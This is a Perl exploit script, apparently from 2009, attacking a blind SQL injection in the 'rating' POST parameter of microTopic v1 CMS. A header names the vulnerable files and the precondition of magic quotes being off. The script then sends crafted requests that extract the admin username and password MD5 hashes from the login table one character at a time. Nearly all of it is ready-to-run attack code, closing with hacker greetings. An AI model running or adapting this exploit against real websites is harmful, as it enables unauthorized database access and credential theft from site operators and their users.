|
#!/usr/bin/perl=0D
#---------------------------------------------------------------------------=0D
#(POST var 'rating') BLIND SQL INJECTION--microTopic v1 Initial Release-->=0D
#---------------------------------------------------------------------------=0D
#=0D
#CMS INFORMATION:=0D
#=0D
#-->WEB: http://sourceforge.net/projects/microtopic/=0D
#-->DOWNLOAD: http://sourceforge.net/projects/microtopic/=0D
#-->DEMO: N/A=0D
#-->CATEGORY: CMS / Portal=0D
#-->DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb=0D
# Secure - Hashed challenge/response login Flexible...=0D
#=0D
#CMS VULNERABILITY:=0D
#=0D
#-->TESTED ON: firefox 3.0.10=0D
#-->DORK: "N/A"=0D
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT=0D
#-->AFFECT VERSION: v-1=0D
#-->Discovered Bug date: 2009-05-08=0D
#-->Reported Bug date: 2009-05-08=0D
#-->Fixed bug date: 2009-05-10=0D
#-->Info patch (v1.01): http://sourceforge.net/projects/microtopic/=0D
#-->Author: YEnH4ckEr=0D
#-->mail: y3nh4ck3r[at]gmail[dot]com=0D
#-->WEB/BLOG: N/A=0D
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.=0D
#=0D
#------------=0D
#VULN FILES:=0D
#------------=0D
#=0D
#Path --> [HOME_PATH]/admin/utopic.php=0D
#=0D
#It contents:=0D
#=0D
# $query="SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]'=0D
# AND ip='$_SERVER[REMOTE_ADDR]'";=0D
# $sql=SendSQL($query);=0D
#=0D
#Path --> [HOME_PATH]/admin/mysql.php=0D
#=0D
#It contents:=0D
#=0D
#function SendSQL($query){=0D
# $sql=mysql_query($query) or die("CANNOT ".$query);=0D
# return $sql;=0D
# }=0D
#=0D
#------------=0D
#CONDITIONS:=0D
#------------=0D
#=0D
#=0D
#**magic quotes=off=0D
#=0D
#=0D
#######################################################################=0D
#######################################################################=0D
##*******************************************************************##=0D
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##=0D
##*******************************************************************##=0D
##-------------------------------------------------------------------##=0D
##*******************************************************************##=0D
## GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community! ##=0D
##*******************************************************************##=0D
#######################################################################=0D
#######################################################################=0D
#=0D
#-------------------EOF---------------------------------->>>ENJOY IT!=0D
#=0D
use LWP::UserAgent;=0D
use HTTP::Request;=0D
#Subroutines=0D
sub lw=0D
{=0D
my $SO = $^O;=0D
my $linux = "";=0D
if (index(lc($SO),"win")!=-1){=0D
$linux="0";=0D
}else{=0D
$linux="1";=0D
} =0D
if($linux){=0D
system("clear");=0D
}=0D
else{=0D
system("cls");=0D
system ("title microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit");=0D
system ("color 02");=0D
}=0D
}=0D
sub request {=0D
my $userag = LWP::UserAgent->new;=0D
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');=0D
my $request = HTTP::Request -> new(POST => $_[0]);=0D
$request->content_type('application/x-www-form-urlencoded');=0D
$request->content($_[1]); =0D
my $outcode= $userag->request($request)->as_string;=0D
return $outcode;=0D
}=0D
sub helper {=0D
print "\n\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\n";=0D
print "\t[XxX] USAGE MODE: [XxX]\n";=0D
print "\t[XxX] perl $0 [HOST] [PATH] [topic]\n";=0D
print "\t[XxX] [HOST]: Web.\n";=0D
print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";=0D
print "\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\n";=0D
print "\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\n"; =0D
}=0D
sub error {=0D
print "\t-----------------------------------------------------------------\n";=0D
print "\tWEB IS NOT VULNERABLE!\n";=0D
print "\tMaybe --> \n";=0D
print "\t1.-Patched\n";=0D
print "\t2.-topic doesn't exist\n";=0D
print "\t3.-Magic quotes ON\n";=0D
print "\tEXPLOIT FAILED!\n";=0D
print "\t-----------------------------------------------------------------\n";=0D
}=0D
sub testedblindsql {=0D
print "\t-----------------------------------------------------------------\n";=0D
print "\tWEB IS VULNERABLE!\n";=0D
print "\tTested Blind SQL Injection.\n"; =0D
print "\tStarting exploit...Waiting...\n"; =0D
print "\t-----------------------------------------------------------------\n";=0D
}=0D
sub exploit {=0D
my $result="";=0D
$k=1;=0D
$z=48;=0D
while(($k<=32) && ($z<=126)){=0D
$blindsqlpost="rate=1&rating=".$_[1]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+utopic_login+WHERE+loginid=1),".$k.",1))='".$z."&postedcounter=1&action=doit";=0D
$output=&request($_[0],$blindsqlpost);=0D
if ( $output =~ (/\<\/head\>\/))=0D
{=0D
$result=$result.chr($z);=0D
$k++;=0D
$z=47;=0D
}=0D
if($z==57)=0D
{=0D
$z=96;=0D
}=0D
#new char=0D
$z++; =0D
}=0D
return $result;=0D
}=0D
#Main=0D
&lw;=0D
print "\t\t#########################################################\n\n";=0D
print "\t\t#########################################################\n\n";=0D
print "\t\t## microTopic v1 Initial Release - BSQLi Exploit ##\n\n";=0D
print "\t\t## Author: Y3nh4ck3r ##\n\n";=0D
print "\t\t## Condition: magic quotes=off ##\n\n";=0D
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";=0D
print "\t\t## Proud to be Spanish! ##\n\n";=0D
print "\t\t#########################################################\n\n";=0D
print "\t\t#########################################################\n\n";=0D
#Init variables=0D
my $host=$ARGV[0];=0D
my $path=$ARGV[1]; =0D
my $topic=$ARGV[2];=0D
#Build the uri=0D
if($path eq "no-path"){=0D
$finalhost="http://".$host."/index.php?topic=".$topic;=0D
}else{=0D
$finalhost="http://".$host."/".$path."/index.php?topic=".$topic;=0D
}=0D
#Check all variables needed=0D
$numArgs = $#ARGV + 1;=0D
if($numArgs<=2) =0D
{=0D
&helper;=0D
exit(1); =0D
}=0D
$finalrequest = $finalhost; =0D
#Testing blind sql injection=0D
$blindsqlpost="rate=1&rating=".$topic."'+AND+1='0&postedcounter=1&action=doit"; #blind sql injection=0D
$output=&request($finalrequest,$blindsqlpost);=0D
if ( $output !~ (/\<\/head\>\/))=0D
{ =0D
#blind sql injection is available=0D
&testedblindsql;=0D
}else{ =0D
#Not injectable=0D
&error;=0D
exit(1); =0D
} =0D
#Bruteforcing user...=0D
$usernamehash=&exploit($finalrequest,$topic,'username');=0D
#Bruteforcing pass...=0D
$passhash=&exploit($finalrequest,$topic,'password');=0D
print "\n\t\t*************************************************\n";=0D
print "\t\t**** EXPLOIT EXECUTED WITH SUCCESS ****\n";=0D
print "\t\t*************************************************\n\n";=0D
print "\t\tUsername(md5 hash):".$usernamehash."\n";=0D
print "\t\tPassword(md5 hash):".$passhash."\n\n";=0D
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";=0D
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";=0D
print "\t\t<<------------------------EOF---------------------->>\n\n";=0D
exit(1);=0D
#Ok...all job done